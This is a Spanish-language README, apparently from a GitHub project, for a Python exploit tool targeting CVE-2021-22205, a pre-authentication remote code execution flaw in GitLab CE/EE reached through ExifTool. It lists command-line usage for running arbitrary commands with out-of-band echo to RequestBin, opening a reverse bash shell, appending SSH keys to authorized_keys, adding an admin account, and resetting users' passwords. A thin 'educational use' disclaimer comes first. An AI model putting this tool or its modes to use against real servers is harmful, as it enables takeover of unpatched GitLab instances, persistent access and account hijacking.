
RCE de preautenticación en GitLab CE/EE mediante ExifTool
GitLab CE/EE Preauth RCE usando ExifTool
Este proyecto es solo con fines educativos. Si se han violado los derechos de alguien, comuníquese conmigo para eliminar el proyecto. Por último, NO LO USE ILEGALMENTE. Si durante el uso de esta herramienta realiza alguna actividad ilegal, asumirá todas las consecuencias. Todos los desarrolladores y colaboradores de esta herramienta no asumen ninguna responsabilidad legal ni solidaria.
Se ha descubierto un problema en GitLab CE/EE que afecta a todas las versiones a partir de 11.9. GitLab no validaba correctamente los archivos de imagen que se pasaban a un analizador de archivos, lo que resultaba en una ejecución remota de comandos.
Versiones afectadas:
Detección de versión de Gitlab mediante el hash en Webpack manifest.json
Interacciones automáticas fuera de banda con DNSLog y PostBin RequestBin
Soporte para Reverse Bash Shell / Añadir clave SSH a authorized_keys
Soporte para modificar y restaurar contraseña de usuario de Gitlab con ENTER
🐚 ››› python CVE-2021-22205.py
░░░░▐▐░░░ CVE-2021-22205
▐ ░░░░░▄██▄▄ GitLab CE/EE Unauthenticated RCE using ExifTool
▀▀██████▀░░ Affecting all versions starting from 11.9
░░▐▐░░▐▐░░ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
▒▒▒▐▐▒▒▐▐▒ github.com/inspiringz/CVE-2021-22205
Usage:
python3 CVE-2021-22205.py -u site_url -m detect # gitlab version & vuln detect
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # rce (echo via requestbin oob)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # rce (echo via write file) *
python3 CVE-2021-22205.py -u site_url -m rev ip port # reverse bash shell
python3 CVE-2021-22205.py -u site_url -m ssh git/root # append ssh authorized_keys
python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
python3 CVE-2021-22205.py -u site_url -m mod user # modify specified user's password => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # restore specified user's original password
site_url debe tener el formato: http[s]://<dominio|ip>[:puerto]/, por ejemplo: https://example.com:9000/* son inestables, es posible que no funcionen :(Detectar:

RCE (Echo mediante RequestBin OOB):

Reverse Bash Shell:

Añadir clave SSH a authorized_keys:

Modificación y restauración de contraseña de usuario de Gitlab:
